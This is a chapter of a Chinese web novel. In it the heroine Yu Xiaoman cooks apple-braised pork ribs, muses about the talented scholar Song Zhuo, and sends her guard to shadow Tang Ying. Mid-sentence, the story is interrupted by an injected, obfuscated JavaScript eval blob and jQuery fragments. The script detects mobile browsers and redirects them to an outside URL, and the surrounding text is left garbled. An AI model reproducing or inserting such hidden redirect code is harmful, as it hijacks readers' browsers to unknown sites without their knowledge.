37. 苹果猪排

作品:《长安发财指南(美食)

    此行想从查账入手,但并没有寻到机会。


    唐瑛长叹口气,一点也没闲着,回了院子喝了口水,又气势汹汹跑去找曹萍了。


    她今晚必须要看到账本!


    天色已晚,屋外只有零星几点烛光,风一吹,葡萄叶浮动的沙沙声宛若浪花拍击着海岸,月光清冷,更显寂寥。


    有唐瑛对外处理葡萄园的事,余小满便安心窝在厨房,准备看看明日做些什么吃的。


    听闻沧州一带的面点特别出名,余小满在厨房里寻了一袋面粉,准备试着蒸几个馒头。看看是不是这面粉有独到过人之处。


    揉面的时候,她又忍不住想起宋灼。


    令她念念不忘的,不只是那张绝美的容颜,还有他死水一般沉寂的眼眸。


    那眼神实在是太绝望了,麻木到分不清悲喜,只有一片死寂。


    余小满是看过农户们的户籍信息的。


    宋灼的爹娘在前一年出了事故,是在田里农闲之时出海打鱼补贴家用,不幸遭遇了极端的暴雨后命丧海底。


    而宋灼本应该在那一年的秋天参加乡试的,因丁忧而未能参加。


    虽不知是为何断了手,但看他如今的状态,似是已经放弃读书了。


    余小满只觉得有些惋惜,在宋灼昏迷过去后,她是有细细品鉴过那篇文章的。


    论点清晰,论据有力,一针见血指出平籴政策落实到地方时的不足和缺少监管的问题。


    文风成熟老练,叫人不敢想象是出自一个仅二十岁的青年之手。


    余小满当即就抛开了美色,起了惜才之心。


    这个人,不继续读书是真的可惜了。


    只是转念一想,失去双亲后,光是他那单薄的身板,能靠每日劳作吃上饭已经是很不容易了。


    葡萄园中波诡云涌不说,还有李虎这样的混混无赖成日骚扰。


    宋灼能在离开书院后写出这般一针见血、观点锐利的文章,已经是实属不易。


    可这般人才,应当是继续读书,去考科举。来日进了朝堂,那方才是他发挥自身最大价值的地方。


    若只是躬身在这田地,倒是真的可惜了。


    “小满。”


    唐瑛提着一篮葡萄走进厨房,她探头瞥了一眼桌上醒发的面,随口问道:“发什么呆呢。”


    “我在想宋灼的事……”


    唐瑛顿时眯起眼睛,上下打量了一圈余小满,目光十分的警惕。


    “你看上他了?”


    回应她的是一阵激烈的噼里啪啦声。


    余小满忙蹲下身去捡擀面杖,借机遮掩着脸上的绯红。


    “姐!胡说什么呢!!”


    唐瑛完全无视余小满的抗议,又追问:“宋灼确实是生得好看啊,你当真没有什么想法?”


    余小满捏着擀面杖站起身,她涨红了一张脸,气鼓鼓的,半天也没说出话来。


    这把唐瑛逗得哈哈大笑,她算是看出来了,余小满在这方面就是个完全没开窍的,甚至经不起一点逗。


    以余小满的身份,她若是喜欢,怀柔也好、强抢也罢,都不是什么大问题。


    皇室人丁稀少,当今圣上膝下也并无子嗣。


    皇帝若是知道余小满对哪个男子动了心,怕是直接就拍手叫好,暗地里就把一切阻碍给清除了。


    “我是在想,能不能解决了葡萄园的事情后,资助他回学堂去。”


    唐瑛正色几分,随手拿起一个葡萄,剥了皮后塞到了余小满的嘴边:“我还以为,他拒绝了帮忙,你会心中有想法的。”


    “他说的也是实话,老孙的死是有些蹊跷,他们一家很可能遭了人胁迫。不轻易相信第一次见面的陌生人也正常。”


    余小满嘴里嚼着葡萄,又伸手去揪了两个,捏在手里:“至于宋灼,帮他只是因为看不过去恃强凌弱,而不是因为想要得到他的帮助。他有戒备心也很正常,谁知道是不是我俩找了李虎来演这出戏,等着套话呢。”


    这番话,实在是通透,叫唐瑛恍惚之间在余小满身上看见了当今圣上的影子。


    只是谁能想到,同样环境下长大的三个人,如今走的路却是各不相同。


    若是当初的余小满能看得这样通透,或许余大河就不必如此辛苦的四处奔波,经营商队了。


    余小满没有察觉到唐瑛的失神,她手上动作不停的剥着葡萄。


    “明日我就不去见市令了吧,宋灼和孙家越是抗拒我们的询问,证明他们手里真的是有证据的。我明日炖上一锅猪排,再去问问。”


    正所谓伸手不打笑脸人,今日已经送了红烧肉过去,明日再来上两块苹果炖猪排。


    肚子吃的饱饱的,不说直接把证据交出来,多少也能缓和一下彼此之间那紧张焦灼的关系。


    更何况,余小满对自己的手艺,有绝对的信心。


    ——


    为了避免夜里有人作怪,虽是准备了足够的空房间,余小满还是和唐瑛睡在了一张床上。


    次日一早,余小满还在院子里洗漱,便有农妇送来了一罐小菜。


    刚一打开,尚未看清里面的东西,便已经闻到了一股酸味,是很清爽脆生的酸味。


    尚未完全清醒的余小满被这味道勾得瞪大了双眼,只觉得食欲大动,立刻加快了手上的动作。


    唐瑛煮了粥,开花的米粒随着沸腾的波纹在锅里翻涌。


    余小满已经迫不及待的夹起一片泡菜。


    白菜叶经过发酵后微微发黄,边缘水润透明,肉眼可见的脆生。


    应当是洗澡泡菜,只发酵了短短几日,极大程度的保留了白菜原本的脆嫩清香。


    入口的酸味柔和自然,直接唤醒了全部的味蕾,叫人疯狂的咽起口水。


    牙齿咬下的一瞬,像是在茫茫雪地上踩断一根枯枝,茫然一瞬后,轰然在脑海中迸裂开一声脆响。


    炎炎夏日,这一口冰冰凉凉的泡菜,好似一汪泉水在舌尖飞溅出,实在是叫人眼前一亮,不禁食指大动。


    余小满知道自己胃口好,但也没想到自己胃口能有这么好。


    她就这唐瑛炒的蛋和这泡菜,喝了两碗粥。


    一直到唐瑛起身准备出门的时候,她还在收尾那剩下的炒蛋。


    “姐,你去县里,看看有没有这做泡菜的陶罐卖的,最好能大些。”


    这泡菜味道确实不错,足够清爽但又有滋味。唐瑛只当余小满是对泡菜起了兴趣,毕竟她都已经打算筹备开酒楼了,便也没多问什么,应了下来。


    等到唐瑛走后,余小满收拾了一下碗筷,跑到了院子里。


    她东张西望了一圈,确定周围没有人后,才对着厨房的屋顶,小心翼翼喊了两声。


    “小刘哥!小刘哥!”


    出乎余小满意料的是,小刘并不在屋顶上,而是从身后的厢房里走了出来。


    东家的院子大,轻易也没有人进来,小刘便寻了一间空房间歇息,倒是比他那些在暗中盯梢的同僚要舒坦多了。


    “怎么了?”


    余小满转身小跑着上去,请求道:“你今日能去暗中跟着唐瑛姐吗?”


    这个请求有些出乎小刘的意料,他此行的任务,主要还是保护余小满的。


    而且这葡萄园一马平川,根本没有多的藏身之地,这农户们还十分排外。也就他这个在余小满面前露过脸的车夫贴身跟着,其余的同僚们都还守在


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16053220|175252||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    葡萄园外面。只隔三差五的巡逻一圈。


    他若是走了,余小满的安危可怎么办?


    “唐瑛姐回来之前,我今日就在这院子里不出去了,绝对安全的。”余小满诚恳道:“我是东家的人,他们定不敢就让我在这葡萄园里有什么意外。但唐瑛姐是要去县里,人生地不熟的,万一市令起了别的心思,要把她这个少东家扣下或者杀害了,岂不麻烦了。”


    余小满实在是太担心唐瑛了,曹萍能在这葡萄园只手遮天,身后定是有官员为他撑腰的。


    沧州一带先前就要倭寇绑架官员的眷属做要挟的案例在。


    唐瑛虽说过不会有问题,但她还是十分的担心。


    而她能想到求助的人,就只有小刘了。


    飞骑执行任务,有一原则——一切以任务目标为首。


    但任务目标是否有权利命令飞骑做事,这要看出行前,皇帝是否给出这个权限。


    很显然,余小满是有这个指挥飞骑的资格的。


    小刘虽疑惑余小满的担忧,毕竟以唐瑛的身手,不管遇到什么问题,起码全身而退是没有问题的。


    当他还是听从了余小满的吩咐,转身追了出去。


    ……


    “昨日的红烧肉可真好吃啊。”


    “就是啊,不知道今天还有没有好吃的。”


    “你想的也太美了,东家能给你吃一顿就不错了,怎么,你还想顿顿吃?”


    农户们往田里走去,采收已经熟透了的葡萄。


    可在经过东家的小院的时候,却还是忍不住慢下脚步,往里面张望着。


    希望昨日那个年轻貌美的侍女能够端着砂锅出来,招呼他们去家里取碗,来领肉吃。


    怎么想着,没有提着篮子的手忍不住擦了一把嘴角。


    那红烧肉,可真是人生几十载吃到过最香的红烧肉了!


    只可惜,今日的小院,不仅外面的篱笆被合上了。远远望去,隐约可见那厨房也是大门紧闭的,十分安静。


    农户的眼中顿时现出失望来,唉声叹气了几声后,失望的继续往田里走去了。


    他们不知道的是,一墙之隔,余小满在厨房里忙得热火朝天。


    她嘴里叼着还残余了不少果肉的苹果核,十指灵活的往切好的梅花肉上抹酱料。


    用水果腌制肉,会使得肉质变得柔嫩。


    其原理是苹果中的酵素能够有效软化肉质,同时给肉增添上一抹果香。


    这个腌制的时间,就显得尤为重要。


    若是时间太久,过度软化反而会叫肉变得松散,失去了让肉变得柔嫩的最初目的。


    香料是从京城带来的,余小满昨晚便就炒好了胡椒酱汁。


    将猪排煎得两面焦黄后切成小块,再下入剥好的蒜爆香,接下来就是加秘制黑胡椒酱,注水炖煮了。


    余小满将苹果丢进锅里,心满意足地盖上了锅盖。


    她正准备去歇会,只听见,门口突然传来了很轻的两声声响。


    和村里农户粗犷直接踢踹门的作风完全不一样,是很温柔的敲门声。


    余小满一惊,从窗口探头望去。


    烈日当空,即使是习惯了劳作的农户,也已经回家歇息了。


    放眼望去,视线中也就只有院子门口这一个人了。


    正午的阳光如熔岩般倾泻而下,倾倒在他身上。他站得笔直,宽肩窄腰的剪影投在滚烫地面上,像竹林里最为挺拔的翠竹。


    那张绝美的容颜并没有因为烈日的灼晒而失了一丝一毫的美丽,相反的,他的目光虽依旧淡漠,却比昨日要鲜活几分,闪烁着微弱的光芒。


    余小满惊呼出声:“宋灼?”